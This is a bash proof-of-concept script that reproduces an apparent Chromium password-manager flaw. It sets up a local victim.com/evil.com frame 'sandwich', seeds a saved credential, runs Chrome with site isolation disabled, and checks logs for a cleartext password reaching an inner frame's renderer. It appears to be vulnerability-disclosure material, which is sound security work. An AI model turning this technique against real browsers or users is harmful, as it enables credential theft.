#!/bin/bash
# Reproduce: browser-side kCrossOriginIframe gate misses cross-origin
# intermediate ancestors -> cleartext password shipped to sandwich-embedded
# same-origin subframe.
#
# Requires: out/asan/chrome built with chromium-changes.patch applied.

set -eu
HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE=/tmp/chrome-poc-profile
LOG=/tmp/chrome-poc.log

# Common flags. The test-environment flags below do NOT change the buggy
# origin-comparison logic; they only let us serve victim.com / evil.com from
# a local plaintext HTTP server and seed a credential into the basic password
# store.
COMMON_FLAGS=(
  --headless=new
  --no-sandbox
  --no-first-run
  --no-default-browser-check
  --disable-gpu
  --user-data-dir="$PROFILE"
  --password-store=basic
  --host-resolver-rules="MAP victim.com:8000 127.0.0.1:8000,MAP evil.com:8000 127.0.0.1:8000"
  --unsafely-treat-insecure-origin-as-secure=http://victim.com:8000,http://evil.com:8000
  --enable-logging=stderr --v=0
)

echo "=== [1/5] resetting profile ==="
rm -rf "$PROFILE" && mkdir -p "$PROFILE"

echo "=== [2/5] starting POC HTTP server on :8000 ==="
pkill -9 -f 'server.py' 2>/dev/null || true
sleep 1
python3 "$HERE/server.py" >/tmp/poc-server.log 2>&1 &
SERVER_PID=$!
trap 'kill $SERVER_PID 2>/dev/null || true' EXIT
sleep 1
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
  echo "server failed to start:"; cat /tmp/poc-server.log; exit 1
fi

echo "=== [3/5] launching Chrome once to create empty Login Data ==="
timeout 12s "$CHROME" "${COMMON_FLAGS[@]}" about:blank >/dev/null 2>&1 || true
# Give the password DB writer a moment, then make sure no chrome is alive.
pkill -f "$PROFILE" 2>/dev/null || true
sleep 1

echo "=== [4/5] seeding saved password for http://victim.com:8000/ ==="
python3 "$HERE/seed_password.py" "$PROFILE/Default"

echo "=== [5/5] launching Chrome with sandwich frame hierarchy ==="
echo "    top  = http://victim.com:8000/index.html"
echo "    mid  = http://evil.com:8000/ad.html        (cross-origin)"
echo "    bot  = http://victim.com:8000/login.html   (same-origin as top)"
# Run with site isolation DISABLED to demonstrate the exploitable
# (SitePerProcess=false) configuration. The defense-in-depth gap is also
# observable with default site isolation (the password is still shipped to
# the inner frame's renderer, just in a separate process from evil.com).
timeout 25s "$CHROME" "${COMMON_FLAGS[@]}" \
  --disable-site-isolation-trials \
  http://victim.com:8000/index.html >"$LOG" 2>&1 || true

echo
echo "=== POC OUTPUT (filtered from $LOG) ==="
sed -n '/\[POC\]/,/=============================================/p' "$LOG" \
  | grep -v 'google_apis\|gcm\|Registration'
echo
grep '\[POC\].*IsInCrossOrigin' "$LOG" || true
echo
if grep -q 'CLEARTEXT PASSWORD IN RENDERER MEMORY' "$LOG"; then
  echo "RESULT: bug reproduced — cleartext password reached the renderer "
  echo "        despite a cross-origin intermediate ancestor."
else
  echo "RESULT: not reproduced (no cleartext marker found)"; exit 1
fi

if [[ "${CONTROL_RUN:-0}" == "1" ]]; then
  echo
  echo "=== [control] re-running with DEFAULT site isolation (no --disable-site-isolation-trials) ==="
  timeout 25s "$CHROME" "${COMMON_FLAGS[@]}" \
    http://victim.com:8000/index.html >"$LOG.default-si" 2>&1 || true
  echo "--- control output ($LOG.default-si) ---"
  sed -n '/\[POC\]/,/=============================================/p' \
    "$LOG.default-si" | grep -v 'google_apis\|gcm\|Registration'
  grep '\[POC\].*IsInCrossOrigin' "$LOG.default-si" || true
  echo
  echo "Under default site isolation the cleartext password is STILL shipped"
  echo "with wait_for_username=false, but evil.com's frame is [REMOTE] (out-"
  echo "of-process), so this is a defense-in-depth gap rather than a leak."
fi
